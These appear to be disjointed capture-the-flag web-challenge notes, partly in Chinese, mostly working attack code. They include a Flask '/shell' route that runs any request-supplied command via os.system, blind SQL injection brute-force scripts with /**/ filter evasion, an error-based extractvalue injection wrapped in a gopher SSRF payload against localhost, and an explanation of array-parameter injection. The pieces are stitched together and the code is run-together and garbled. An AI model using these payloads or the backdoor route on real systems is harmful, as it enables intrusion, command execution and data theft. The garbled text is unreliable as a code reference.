# You will never find the thing you want:) I think @app.route('/shell') defshell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return"1"
defsql_injection_s():#表名 fina_wod="" a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for i in range(0,100): for j in range(0,62): #payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 1,1))#".replace(" ","/**/") payload_2=f"admin'and ('ctf','{fina_wod+a[j]}',1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit 1,1)#".replace(" ","/**/") data={ 'username':payload_2, 'password':"1" } r = s.post(url=url, data=data).text print(payload_2) print(r) if"username error"in r: fina_wod+=a[j-1] print(fina_wod) break
defsearch_co():#探测表在第几个 for i in range(0,10000): #payload=f"admin'and/**/('def','ct',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema desc limit {i},1)#".replace(" ","/**/") payload=f"admin'and/**/('ct',1,1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit {i},1)#".replace(" ","/**/") data1={ 'username':payload, 'password':"123" } #print(data1) #print(s.post(url=url,data=data1).text) if"username error!"in s.post(url=url,data=data1).text: print("ctf库在第",i,"列")
a = "admin')and (extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e)))#" a = quote(base64.b64encode(a.encode("utf-8"))) payload = f'''gopher%3a%2f%2f127.0.0.1%3a80%2f_post%20%2findex.php%20http%2f1.1%250d%250ahost%3a%20localhost%3a80%250d%250acookie%3a%20phpsessid%3d25c1mm4b3ppn9ohr2gve7d4tg4%3bthis_is_your_cookie%3d{a}%250d%250aconnection%3a%20close%250d%250acontent-type%3a%20application%2fx-www-form-urlencoded%250d%250acontent-length%3a%2021%250d%250a%250d%250auname%3dadmin%26passwd%3dadmin'''
有难度应该就是这段数组结果进行转化拼接的,这里介绍一下,我们传入的了一个username[0]那么他就会被拼接在最前面,接下来,我们再传入一个username[1][1\]=%和username\[1\]\[2\]=aaa那么他会被分别拼接到两个`username`后所接入的内容呢,也就是username not like '%' 然后username not like aaa 紧接着如果我们有username\[2\]的话,那么这个也就会被直接被先拼接到username\[1\]\[1\]的后面